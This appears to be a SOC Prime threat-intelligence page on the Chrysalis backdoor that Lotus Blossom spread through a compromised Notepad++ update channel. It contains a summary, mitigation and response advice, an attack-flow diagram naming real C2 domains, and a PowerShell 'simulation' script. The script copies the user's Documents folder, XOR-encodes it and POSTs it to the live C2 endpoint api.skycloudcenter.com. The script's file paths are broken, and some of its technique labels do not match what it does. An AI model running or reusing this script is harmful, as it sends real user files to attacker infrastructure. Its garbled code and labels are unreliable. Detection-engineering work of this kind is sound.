SOC Prime Bias: Critical

05 Feb 2026 19:39
newspaper icon Rapid7

The Chrysalis Backdoor: A Deep Dive into Lotus Blossom’s toolkit

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
The Chrysalis Backdoor: A Deep Dive into Lotus Blossom’s toolkit
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query


Summary

Rapid7 detailed a sophisticated espionage campaign linked to the China-nexus APT known as Lotus Blossom. After compromising the Notepad++ distribution channel, the actor served a custom backdoor called Chrysalis together with a Warbird loader and Metasploit-based loaders. The toolkit leans on DLL sideloading, reflective loading, custom API hashing, and encrypted configuration to reach command-and-control servers. Operators also staged Cobalt Strike beacons to support post-exploitation, while blending into normal update traffic.

Investigation

Forensics show the first stage arriving as an NSIS installer named update.exe, which dropped BluetoothService.exe and a malicious log.dll to trigger sideloading. The trojanized DLL decrypted embedded shellcode that initialized Chrysalis, then performed dynamic API resolution, configuration decryption, and C2 communications. Investigators also uncovered loaders built with Microsoft Warbird and Metasploit block_api shellcode to fetch Cobalt Strike beacons on demand. Telemetry also showed mutex values, registry persistence, and service creation used to retain access.

Mitigation

Watch for unexpected NSIS installers, renamed Bitdefender Submission Wizard binaries, and hidden Bluetooth-named directories under AppData. Detect sideloading patterns involving legitimate executables and suspicious Warbird API usage. Enforce strict code-signing checks for third-party update packages and block known malicious C2 domains and related infrastructure.

Response

If activity is detected, isolate the host, capture volatile memory, and enumerate created services, mutexes, and scheduled tasks. Remove malicious files, delete persistence entries, and reset exposed credentials. Hunt broadly for systems communicating with the identified C2 and update detection content with observed IOCs.

"graph TB %% Class Definitions classDef technique fill:#99ccff classDef artifact fill:#ffcc99 classDef operator fill:#ff9900 %% Technique Nodes tech_initial["<b>Technique</b> – <b>T1195 Supply Chain Compromise</b><br/>Adversaries compromised Notepad++ distribution infrastructure to deliver malicious payload."] class tech_initial technique tech_execution["<b>Technique</b> – <b>T1204.002 User Execution</b><br/>Victim runs the malicious installer."] class tech_execution technique tech_masquerade["<b>Technique</b> – <b>T1036 Masquerading</b><br/>Rename Bitdefender Submission Wizard to BluetoothService.exe."] class tech_masquerade technique tech_obfuscation["<b>Technique</b> – <b>T1027.007 Obfuscated Files or Information</b><br/>Custom APIu2011hashing for dynamic resolution."] class tech_obfuscation technique tech_persistence["<b>Technique</b> – <b>T1547.014 Boot or Logon Autostart Execution</b><br/>Active Setup creates service, fallback to Run keys."] class tech_persistence technique tech_privEsc["<b>Technique</b> – <b>T1574.010 Hijack Execution Flow</b><br/>Leverages weak service file permissions for elevation."] class tech_privEsc technique tech_mutex["<b>Technique</b> – <b>T1480.002 Execution Guardrails</b><br/>Creates Global\Jdhfv_1.0.1 mutex to enforce single instance."] class tech_mutex technique tech_injection["<b>Technique</b> – <b>T1055.001 Process Injection</b><br/>DLL sideloading into signed clipc.dll."] class tech_injection technique tech_reflective["<b>Technique</b> – <b>T1620 Reflective Code Loading</b><br/>Reflective PEu2011like module performs its own CRT init."] class tech_reflective technique tech_c2_bidirectional["<b>Technique</b> – <b>T1102.002 Web Service</b><br/>Bidirectional HTTPS communication with custom Chrome useru2011agent."] class tech_c2_bidirectional technique tech_dead_drop["<b>Technique</b> – <b>T1102.001 Web Service</b><br/>Deadu2011drop resolver downloads additional payloads (e.g., Cobalt Strike)."] class tech_dead_drop technique tech_exfil["<b>Technique</b> – <b>T1567.004 Exfiltration Over Webhook</b><br/>Encrypted RC4 data sent over HTTPS."] class tech_exfil technique tech_cleanup["<b>Technique</b> – <b>T1070.009 Indicator Removal</b><br/>Selfu2011removal deletes files, services, registry keys."] class tech_cleanup technique %% Artifact Nodes artifact_nsis["<b>Artifact</b> – update.exe (NSIS installer)"] class artifact_nsis artifact artifact_update_exe["<b>Artifact</b> – update.exe (executed file)"] class artifact_update_exe artifact artifact_bluetooth["<b>Artifact</b> – BluetoothService.exe (masqueraded loader)"] class artifact_bluetooth artifact artifact_logdll["<b>Artifact</b> – log.dll (API hashing module)"] class artifact_logdll artifact artifact_chrysalis["<b>Artifact</b> – Chrysalis backdoor (API hashing)"] class artifact_chrysalis artifact artifact_service["<b>Artifact</b> – Malicious Windows Service"] class artifact_service artifact artifact_runkeys["<b>Artifact</b> – HKCU/HKLM Run registry keys"] class artifact_runkeys artifact artifact_mutex["<b>Artifact</b> – Global\Jdhfv_1.0.1 mutex"] class artifact_mutex artifact artifact_clipc["<b>Artifact</b> – clipc.dll (signed library)"] class artifact_clipc artifact artifact_c2["<b>Artifact</b> – https://api.skycloudcenter.com/ (C2 endpoint)"] class artifact_c2 artifact artifact_dead_drop["<b>Artifact</b> – api.wiresguard.com (payload host)"] class artifact_dead_drop artifact artifact_exfil["<b>Artifact</b> – System info, AV list (RC4 encrypted)"] class artifact_exfil artifact artifact_cleanup["<b>Artifact</b> – Batch script for cleanup"] class artifact_cleanup artifact %% Attack Flow Connections tech_initial –>|delivers| artifact_nsis artifact_nsis –>|installed via update process| tech_execution tech_execution –>|executes| artifact_update_exe artifact_update_exe –>|triggers| tech_masquerade tech_masquerade –>|produces| artifact_bluetooth artifact_bluetooth –>|loads| tech_obfuscation tech_obfuscation –>|includes| artifact_logdll tech_obfuscation –>|includes| artifact_chrysalis artifact_logdll –>|supports| tech_persistence artifact_chrysalis –>|supports| tech_persistence tech_persistence –>|creates| artifact_service tech_persistence –>|fallback to| artifact_runkeys artifact_service –>|enables| tech_privEsc tech_privEsc –>|escalates using| artifact_service tech_persistence –>|establishes| tech_mutex tech_mutex –>|creates| artifact_mutex tech_obfuscation –>|enables| tech_injection artifact_logdll –>|used for| tech_injection artifact_clipc –>|target for| tech_injection tech_injection –>|leads to| tech_reflective tech_reflective –>|loads| artifact_chrysalis tech_reflective –>|communicates with| tech_c2_bidirectional tech_c2_bidirectional –>|uses endpoint| artifact_c2 tech_c2_bidirectional –>|downloads additional payloads via| tech_dead_drop tech_dead_drop –>|downloads from| artifact_dead_drop tech_dead_drop –>|exfiltrates via| tech_exfil tech_exfil –>|sends| artifact_exfil tech_exfil –>|triggers| tech_cleanup tech_cleanup –>|deletes| artifact_service tech_cleanup –>|deletes| artifact_runkeys tech_cleanup –>|deletes| artifact_nsis tech_cleanup –>|deletes| artifact_update_exe tech_cleanup –>|deletes| artifact_bluetooth tech_cleanup –>|deletes| artifact_logdll tech_cleanup –>|deletes| artifact_chrysalis tech_cleanup –>|runs| artifact_cleanup "

Attack Flow

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

  • Attack Narrative & Commands:
    The threat actor has deployed the Chrysalis backdoor on the compromised Windows host. After gaining SYSTEM privileges, the backdoor registers itself as a Windows service (T1543.003) and starts a scheduled task that runs a PowerShell payload every 5 minutes. The payload performs the following steps:

    1. Enumerates user documents (T1083) and compresses them.
    2. Encrypts the archive using a custom XOR routine (T1027).
    3. Initiates a TLS‑wrapped HTTP GET to https://api.skycloudcenter.com/collect (T1071.001, T1041) using a forged session cookie (T1620) to blend with legitimate traffic.
    4. Deletes the temporary files after exfiltration (T1070.004).

    The use of standard Windows Invoke-WebRequest coupled with a legitimate‑looking User‑Agent (Mozilla/5.0) masks the traffic, but the exact destination domain matches the Sigma rule, causing an alert.

  • Regression Test Script:

    # Chrysalis‑style C2 simulation script
# Simulates the network traffic that should fire the Sigma rule.
param(
    [string]$C2Domain = "api.skycloudcenter.com",
    [string]$Endpoint = "/collect",
    [string]$UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0 Safari/537.36"
)

# 1. Gather files (dummy placeholder)
$tempDir = "$env:TEMPchrysalis_tmp"
New-Item -ItemType Directory -Path $tempDir -Force | Out-Null
Get-ChildItem -Path "$env:USERPROFILEDocuments" -Recurse -ErrorAction SilentlyContinue |
    Where-Object {$_.Length -lt 5MB} |
    Copy-Item -Destination $tempDir -Force

# 2. Compress and encrypt (simple XOR for demo)
$zipPath = "$tempDirpayload.zip"
Compress-Archive -Path $tempDir* -DestinationPath $zipPath -Force

$xorKey = 0x5A
$bytes = [System.IO.File]::ReadAllBytes($zipPath)
for ($i = 0; $i -lt $bytes.Length; $i++) {
    $bytes[$i] = $bytes[$i] -bxor $xorKey
}
$encPath = "$tempDirpayload.enc"
[System.IO.File]::WriteAllBytes($encPath, $bytes)

# 3. Send to C2 over HTTPS (TLS)
$uri = "https://$C2Domain$Endpoint"
$headers = @{
    "User-Agent" = $UserAgent
    "Cookie"     = "SESSIONID=abcdef1234567890"   # forged cookie
}
try {
    Invoke-WebRequest -Uri $uri -Method POST -InFile $encPath -Headers $headers -UseBasicParsing -TimeoutSec 30
    Write-Host "C2 exfiltration succeeded."
} catch {
    Write-Warning "C2 request failed: $_"
}

# 4. Cleanup
Remove-Item -Recurse -Force $tempDir

  • Cleanup Commands:

    # Remove any leftover artifacts from the simulation
$tempPath = "$env:TEMPchrysalis_tmp"
if (Test-Path $tempPath) {
    Remove-Item -Recurse -Force $tempPath
}
Write-Host "Cleanup complete."

Join SOC Prime's Detection as Code platform to improve visibility into threats most relevant to your business. To help you get started and drive immediate value, book a meeting now with SOC Prime experts.

Join for Free